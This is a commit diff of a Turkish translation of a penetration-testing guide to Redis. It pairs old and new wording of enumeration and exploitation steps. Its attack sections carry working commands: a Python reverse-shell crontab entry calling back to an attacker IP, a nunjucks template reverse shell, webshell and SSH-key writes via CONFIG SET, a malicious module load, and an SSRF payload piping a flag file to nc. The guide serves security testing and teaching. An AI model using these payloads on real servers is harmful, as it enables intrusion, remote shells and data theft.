Translated ['src/network-services-pentesting/6379-pentesting-redis.md']

This commit is contained in:
Translator 2025-01-03 23:36:01 +00:00
parent daf55bd626
commit 015645339c

View File

@ -4,9 +4,9 @@
## Temel Bilgiler
[Belgelerden](https://redis.io/topics/introduction) alıntı: Redis, bir **veritabanı**, önbellek ve mesaj aracısı olarak kullanılan açık kaynaklı (BSD lisanslı), bellek içi **veri yapısı deposu**dur.
From [the docs](https://redis.io/topics/introduction): Redis, bir **veri yapısı deposu** olarak kullanılan, açık kaynaklı (BSD lisanslı), bellek içi bir **veritabanı**, önbellek ve mesaj aracıdır.
Varsayılan olarak Redis, düz metin tabanlı bir protokol kullanır, ancak **ssl/tls** uygulayabileceğini unutmamalısınız. Redis'i **ssl/tls ile çalıştırmayı** [buradan öğrenin](https://fossies.org/linux/redis/TLS.md).
Varsayılan olarak Redis, düz metin tabanlı bir protokol kullanır, ancak **ssl/tls** uygulayabileceğini de unutmamalısınız. [Redis'i ssl/tls ile çalıştırmayı burada öğrenin](https://fossies.org/linux/redis/TLS.md).
**Varsayılan port:** 6379
```
@ -24,14 +24,14 @@ msf> use auxiliary/scanner/redis/redis_server
### Afiş
Redis, **metin tabanlı bir protokoldür**, sadece **bir sokette komutu gönderebilir** ve dönen değerler okunabilir olacaktır. Ayrıca Redis'in **ssl/tls** kullanarak çalışabileceğini unutmayın (ama bu çok garip).
Redis, **metin tabanlı bir protokol**dür, sadece **bir soket üzerinden komutu gönderebilir** ve dönen değerler okunabilir olacaktır. Ayrıca, Redis'in **ssl/tls** kullanarak çalışabileceğini unutmayın (ama bu çok garip).
Normal bir Redis örneğinde, `nc` kullanarak bağlanabilir veya `redis-cli` de kullanabilirsiniz:
```bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
İlk **komut** olarak deneyebileceğiniz **`info`**. Bu **Redis örneği hakkında bilgi içeren bir çıktı döndürebilir** veya aşağıdakine benzer bir şey dönebilir:
İlk komut olarak **`info`** komutunu deneyebilirsiniz. Bu, Redis örneği hakkında **veya aşağıdakine benzer bir şey** ile bilgi içeren bir çıktı döndürebilir:
```
-NOAUTH Authentication required.
```
@ -39,24 +39,24 @@ Bu son durumda, bu **geçerli kimlik bilgilerine ihtiyacınız var** Redis örne
### Redis Kimlik Doğrulaması
**Varsayılan olarak** Redis **kimlik bilgileri olmadan** erişilebilir. Ancak, **yalnızca şifre veya kullanıcı adı + şifre** destekleyecek şekilde **yapılandırılabilir**.\
**Varsayılan olarak** Redis, **kimlik bilgileri olmadan** erişilebilir. Ancak, **yalnızca şifre veya kullanıcı adı + şifre** destekleyecek şekilde **yapılandırılabilir**.\
_**redis.conf**_ dosyasında `requirepass` parametresi ile **bir şifre ayarlamak** mümkündür **veya geçici** olarak hizmet yeniden başlatılana kadar ona bağlanarak ve çalıştırarak: `config set requirepass p@ss$12E45`.\
Ayrıca, _**redis.conf**_ dosyasında `masteruser` parametresinde bir **kullanıcı adı** yapılandırılabilir.
Ayrıca, _**redis.conf**_ dosyasında `masteruser` parametresi ile **bir kullanıcı adı** yapılandırılabilir.
> [!NOTE]
> Yalnızca şifre yapılandırılmışsa, kullanılan kullanıcı adı "**default**"dır.\
> Ayrıca, Redis'in yalnızca şifre veya kullanıcı adı + şifre ile yapılandırılıp yapılandırılmadığını **dışarıdan bulmanın bir yolu yoktur**.
Bu tür durumlarda, Redis ile etkileşimde bulunmak için **geçerli kimlik bilgilerini bulmanız gerekecek**, bu yüzden [**brute-force**](../generic-hacking/brute-force.md#redis) denemeyi düşünebilirsiniz.\
Bu tür durumlarda, Redis ile etkileşimde bulunmak için **geçerli kimlik bilgilerini bulmanız gerekecek**, bu nedenle [**brute-force**](../generic-hacking/brute-force.md#redis) denemeyi düşünebilirsiniz.\
**Geçerli kimlik bilgilerini bulduysanız, bağlantıyı kurduktan sonra oturumu kimlik doğrulamanız gerekir** komut ile:
```bash
AUTH <username> <password>
```
**Geçerli kimlik bilgileri** ile yanıt verilecektir: `+OK`
### **Kimlik doğrulama ile sayım**
### **Kimlik doğrulama ile numaralandırma**
Eğer Redis sunucusu **anonim bağlantılara** izin veriyorsa veya geçerli kimlik bilgilerini elde ettiyseniz, hizmet için sayım sürecini başlatmak üzere aşağıdaki **komutları** kullanabilirsiniz:
Eğer Redis sunucusu **anonim bağlantılara** izin veriyorsa veya geçerli kimlik bilgilerini elde ettiyseniz, hizmet için numaralandırma sürecini başlatmak için aşağıdaki **komutları** kullanabilirsiniz:
```bash
INFO
[ ... Redis response with info ... ]
@ -67,15 +67,15 @@ CONFIG GET *
```
**Diğer Redis komutları** [**burada bulunabilir**](https://redis.io/topics/data-types-intro) **ve** [**burada**](https://lzone.de/cheat-sheet/Redis)**.**
Bir örnek olarak, **bir örneğin Redis komutları** _redis.conf_ dosyasında yeniden adlandırılabilir veya kaldırılabilir. Örneğin, bu satır FLUSHDB komutunu kaldıracaktır:
Bir örnek olarak, **bir örneğin Redis komutları yeniden adlandırılabilir** veya _redis.conf_ dosyasında kaldırılabilir. Örneğin, bu satır FLUSHDB komutunu kaldıracaktır:
```
rename-command FLUSHDB ""
```
Redis hizmetini güvenli bir şekilde yapılandırma hakkında daha fazla bilgi burada: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
Daha fazla bilgi için Redis hizmetini güvenli bir şekilde yapılandırma hakkında buraya bakın: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
Ayrıca **`monitor`** komutunu kullanarak **Redis komutlarını gerçek zamanlı olarak izleyebilir** veya **`slowlog get 25`** ile en **yavaş 25 sorguyu** alabilirsiniz.
Daha fazla Redis komutu hakkında ilginç bilgileri burada bulabilirsiniz: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
Daha fazla ilginç bilgi için daha fazla Redis komutu hakkında buraya bakın: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **Veritabanını Dökme**
@ -87,7 +87,7 @@ Ya da tüm **anahtar alanlarını** (veritabanlarını) şu şekilde alabilirsin
```
INFO keyspace
```
Bu örnekte **veritabanı 0 ve 1** kullanılıyor. **Veritabanı 0, 4 anahtar içeriyor ve veritabanı 1, 1 anahtar içeriyor**. Varsayılan olarak Redis veritabanı 0'ı kullanır. Örneğin veritabanı 1'i dökmek için şunu yapmalısınız:
Bu örnekte **veritabanı 0 ve 1** kullanılıyor. **Veritabanı 0, 4 anahtar içeriyor ve veritabanı 1, 1 anahtar içeriyor**. Varsayılan olarak Redis veritabanı 0'ı kullanır. Örneğin veritabanı 1'i dökmek için şunu yapmanız gerekir:
```bash
SELECT 1
[ ... Indicate the database ... ]
@ -116,13 +116,13 @@ DUMP <key>
### Etkileşimli Shell
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) Redis'te (<=5.0.5) otomatik olarak etkileşimli bir shell veya ters shell alabilir.
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server), Redis(<=5.0.5) içinde otomatik olarak etkileşimli bir shell veya ters shell alabilir.
```
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
```
### PHP Webshell
[**buradan**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html) bilgi. **Web sitesi klasörünün** **yolunu** bilmelisiniz:
Info from [**here**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). **Web sitesi klasörü**'nün **yolunu** bilmelisiniz:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
@ -140,7 +140,7 @@ Eğer webshell erişim istisnası varsa, yedek aldıktan sonra veritabanını bo
Önceki bölümde olduğu gibi, bir şablon motoru tarafından yorumlanacak bazı html şablon dosyalarını da üzerine yazabilir ve bir shell elde edebilirsiniz.
Örneğin, [**bu yazıda**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/) görüldüğü gibi, saldırgan **nunjucks şablon motoru** tarafından yorumlanan bir **html** içine **rev shell** enjekte etmiştir:
Örneğin, [**bu yazıda**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/) saldırganın **nunjucks şablon motoru** tarafından yorumlanan bir **html** içine **rev shell** enjekte ettiğini görebilirsiniz:
```javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
@ -155,18 +155,18 @@ sh.stderr.pipe(client);
)()}}
```
> [!WARNING]
> Şunu unutmayın ki **birçok şablon motoru şablonları** **bellekte** **önbelleğe alır**, bu nedenle onları üzerine yazsanız bile, yenisi **çalıştırılmayacaktır**. Bu durumlarda, ya geliştirici otomatik yeniden yüklemeyi aktif bırakmıştır ya da hizmet üzerinde bir DoS gerçekleştirmeniz gerekir (ve bunun otomatik olarak yeniden başlatılmasını beklemelisiniz).
> Şunu unutmayın ki **birçok şablon motoru şablonları** **bellekte** **önbelleğe alır**, bu nedenle onları üzerine yazsanız bile, yenisi **çalıştırılmayacaktır**. Bu durumlarda, ya geliştirici otomatik yeniden yüklemeyi aktif bırakmıştır ya da hizmet üzerinde bir DoS gerçekleştirmeniz gerekir (ve otomatik olarak yeniden başlatılmasını beklemelisiniz).
### SSH
Örnek [buradan](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
Örnek [buradan](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
Lütfen **`config get dir`** sonucunun diğer manuel istismar komutlarından sonra değiştirilebileceğini unutmayın. Bunu, Redis'e giriş yaptıktan hemen sonra ilk olarak çalıştırmanızı öneririm. **`config get dir`** çıktısında **redis kullanıcısının** **ana dizinini** (genellikle _/var/lib/redis_ veya _/home/redis/.ssh_) bulabilirsiniz ve bunu bilerek `authenticated_users` dosyasını ssh **kullanıcı redis ile** erişmek için nereye yazabileceğinizi bilirsiniz. Yazma izinlerinizin olduğu başka geçerli bir kullanıcının ana dizinini biliyorsanız, bunu da kötüye kullanabilirsiniz:
Lütfen **`config get dir`** sonucunun diğer manuel istismar komutlarından sonra değiştirilebileceğini unutmayın. Bunu, Redis'e giriş yaptıktan hemen sonra ilk olarak çalıştırmanızı öneririm. **`config get dir`** çıktısında **redis kullanıcısının** **ev dizinini** bulabilirsiniz (genellikle _/var/lib/redis_ veya _/home/redis/.ssh_), ve bunu bilerek `authenticated_users` dosyasını ssh **redis kullanıcısı ile** erişmek için nereye yazabileceğinizi bilirsiniz. Yazma izinlerinizin olduğu başka geçerli bir kullanıcının ev dizinini biliyorsanız, bunu da kötüye kullanabilirsiniz:
1. Bilgisayarınızda bir ssh genel-özel anahtar çifti oluşturun: **`ssh-keygen -t rsa`**
2. Genel anahtarı bir dosyaya yazın: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
1. Bilgisayarınızda bir ssh public-private anahtar çifti oluşturun: **`ssh-keygen -t rsa`**
2. Public anahtarı bir dosyaya yazın: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. Dosyayı redis'e aktarın: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. Genel anahtarı redis sunucusundaki **authorized_keys** dosyasına kaydedin:
4. Public anahtarı redis sunucusundaki **authorized_keys** dosyasına kaydedin:
```
root@Urahara:~# redis-cli -h 10.85.0.52
@ -182,6 +182,8 @@ OK
**Bu teknik burada otomatikleştirilmiştir:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
Ayrıca, sistem kullanıcıları `config set dir /home/USER` ile kontrol edilerek keşfedilebilir ve onaylandıktan sonra yeni bir `authorized_keys` dosyası `/home/USER/.ssh/authorized_keys` içine yazılabilir. Bunu bir kullanıcı adı kelime listesi ile brute force yapmak ve `authorized_keys` dosyasını üzerine yazmak için [redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh) kullanın.
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
@ -199,11 +201,11 @@ Bu yöntem ayrıca bitcoin kazanmak için de kullanılabilir [yam](https://ww
### Redis Modülünü Yükle
1. [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) adresindeki talimatları izleyerek **rastgele komutları çalıştırmak için bir redis modülü derleyebilirsiniz**.
2. Ardından, **derlenmiş** modülü **yüklemek için** bir yol bulmalısınız.
1. [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) adresinden talimatları izleyerek **rastgele komutları çalıştırmak için bir redis modülü derleyebilirsiniz**.
2. Ardından, **derlenmiş** modülü **yüklemek için bir yol** bulmanız gerekir.
3. `MODULE LOAD /path/to/mymodule.so` ile çalışma zamanında **yüklenen modülü** yükleyin.
4. Doğru bir şekilde yüklenip yüklenmediğini kontrol etmek için **yüklenen modülleri listeleyin**: `MODULE LIST`
5. **Komutları** **çalıştırın**:
5. **Komutları çalıştırın**:
```
127.0.0.1:6379> system.exec "id"
@ -215,9 +217,9 @@ Bu yöntem ayrıca bitcoin kazanmak için de kullanılabilir [yam](https://ww
6. İstediğiniz zaman modülü boşaltın: `MODULE UNLOAD mymodule`
### LUA sandbox atlatma
### LUA sandbox bypass
[**Burada**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) Redis'in **EVAL** komutunu **Lua kodunu sandboxed** olarak çalıştırmak için kullandığını görebilirsiniz. Bağlantılı yazıda **dofile** fonksiyonunu kullanarak **bunu nasıl kötüye kullanacağınızı** görebilirsiniz, ancak [görünüşe göre](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) bu artık mümkün değil. Yine de, eğer **Lua** sandbox'ını **atlarsanız**, sistemde **rastgele** komutlar çalıştırabilirsiniz. Ayrıca, aynı yazıdan bazı **DoS neden olma seçeneklerini** görebilirsiniz.
[**Burada**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) Redis'in **EVAL** komutunu **Lua kodunu sandbox içinde çalıştırmak için** kullandığını görebilirsiniz. Bağlantılı yazıda **dofile** fonksiyonunu kullanarak **bunu nasıl kötüye kullanacağınızı** görebilirsiniz, ancak [görünüşe göre](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) bu artık mümkün değil. Yine de, **Lua** sandbox'ını **aşabilirseniz**, sistemde **rastgele** komutlar çalıştırabilirsiniz. Ayrıca, aynı yazıdan bazı **DoS neden olma seçeneklerini** görebilirsiniz.
LUA'dan kaçış için bazı **CVE'ler**:
@ -225,7 +227,7 @@ LUA'dan kaçış için bazı **CVE'ler**:
### Master-Slave Modülü
Master redis'teki tüm işlemler otomatik olarak slave redis'e senkronize edilir, bu da zayıf redis'i bir slave redis olarak değerlendirebileceğimiz anlamına gelir; bu, kendi kontrolümüzdeki master redis'e bağlıdır, ardından kendi redis'imize komut girebiliriz.
Master redis'teki tüm işlemler otomatik olarak slave redis'e senkronize edilir, bu da zayıf redis'i bir slave redis olarak değerlendirebileceğimiz anlamına gelir; bu, kendi kontrolümüzdeki master redis'e bağlıdır, ardından kendi redis'imize komut girebiliriz.
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
@ -237,7 +239,7 @@ redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
## Redis ile Konuşan SSRF
## SSRF Redis ile İletişim
Eğer **Redis**'e **düz metin** isteği gönderebiliyorsanız, **onunla iletişim kurabilirsiniz** çünkü Redis isteği satır satır okuyacak ve anlamadığı satırlara sadece hatalarla yanıt verecektir:
```
@ -266,6 +268,6 @@ Ve **URL encode** isteği **SSRF** ve **CRLF** kullanarak bir `whoami` çalışt
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_Bir sebepten dolayı (bu bilginin alındığı_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _yazarı için) istismar `git` şeması ile çalıştı ve `http` şeması ile çalışmadı._
_Bir sebepten dolayı (bu bilginin alındığı_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _yazarına göre) istismar `git` şeması ile çalıştı ve `http` şeması ile çalışmadı._
{{#include ../banners/hacktricks-training.md}}